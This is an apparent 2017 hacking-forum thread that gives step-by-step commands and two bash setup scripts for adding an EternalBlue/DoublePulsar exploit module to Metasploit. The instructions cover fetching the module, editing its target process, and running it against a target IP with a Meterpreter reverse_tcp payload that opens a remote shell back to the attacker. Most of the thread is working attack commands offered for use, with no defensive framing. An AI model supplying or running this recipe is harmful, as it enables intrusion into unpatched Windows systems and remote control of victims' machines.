MSF EternalBlue Windows Exploit Addons For Metasploit

View previous topic View next topic Go down

MSF EternalBlue Windows Exploit Addons For Metasploit

Post by jamied_uk on 23rd June 2017, 16:59

Vid


jnet.forumn.biz/t1521-msf-eternalblue-windows-exploit-addons-for-metasploit



For Kali Or Parrot OS

Code:
cd /root



(for Kali dont use sudo but for parrot os use sudo for all commands that give permission errors)!

Code:
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git



Code:

cd Eternalblue-Doublepulsar-Metasploit


cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/



To edit a file you can


Code:
cd /usr/share/metasploit-framework/modules/exploits/windows/smb/




pico (or nano or vim or gedit or leafpad)


Code:
pico eternalblue_doublepulsar.rb




change lsass.exe to explorer.exe


____________________________________________________________________________________________________________________

Usage:


now you can run msfconsole (parrot os needs sudo)


Code:
msfconsole



Code:
use exploit/windows/smb/eternalblue_doublepulsar


Code:
show options

set payload windows/meterpreter/reverse_tcp





Code:
show options



Example:

(ifconfig in another terminal to show your int ip)!
Code:

set LHOST 192.168.0.101

set LPORT 4444

set RHOST 192.168.0.15 (IP of terget)


After you have set all Options you can then...


exploit



To fix error on parrot os where wine may not be installed do the following:

Code:
To fix error on parrot os where wine may not be installed do the following:


sudo apt install -y wine winetricks
sudo mkdir /root/.wine/
sudo mkdir /root/.wine/drive_c/

(Kali Linux)

dpkg --add-architecture i386 && apt-get update && apt-get install wine32


(Parrot os)
su

sudo dpkg --add-architecture i386 && sudo apt-get update &&
apt-get install wine32





More @
youtu.be/rohijakL8WM
avatar
jamied_uk
Admin

Posts : 2191
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: MSF EternalBlue Windows Exploit Addons For Metasploit

Post by jamied_uk on 25th June 2017, 14:20

Auto Setup Script


Code:
#!/bin/bash
apt install -y wine winetricks
dpkg --add-architecture i386 && apt-get update && apt-get install -y wine32
mkdir /root/.wine/
mkdir /root/.wine/drive_c/
cd /root
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
cd /usr/share/metasploit-framework/modules/exploits/windows/smb/
echo "change lsass.exe to explorer.exe"
sudo gedit eternalblue_doublepulsar.rb
echo "MSF will now start..."
msfconsole
avatar
jamied_uk
Admin

Posts : 2191
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: MSF EternalBlue Windows Exploit Addons For Metasploit

Post by jamied_uk on 25th June 2017, 14:36

Parrot OS Setup.sh File



Code:
#!/bin/bash
sudo apt install -y wine winetricks
dpkg --add-architecture i386 && sudo apt-get update && sudo apt-get install -y wine32
sudo mkdir /root/.wine/
sudo mkdir /root/.wine/drive_c/
cd /root
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
sudo cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
cd /usr/share/metasploit-framework/modules/exploits/windows/smb/
echo "change lsass.exe to explorer.exe"
sudo gedit eternalblue_doublepulsar.rb
echo "MSF will now start..."
sudo msfconsole
avatar
jamied_uk
Admin

Posts : 2191
Join date : 2010-05-09
Age : 34
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: MSF EternalBlue Windows Exploit Addons For Metasploit

Post by Sponsored content


Sponsored content


Back to top Go down

View previous topic View next topic Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum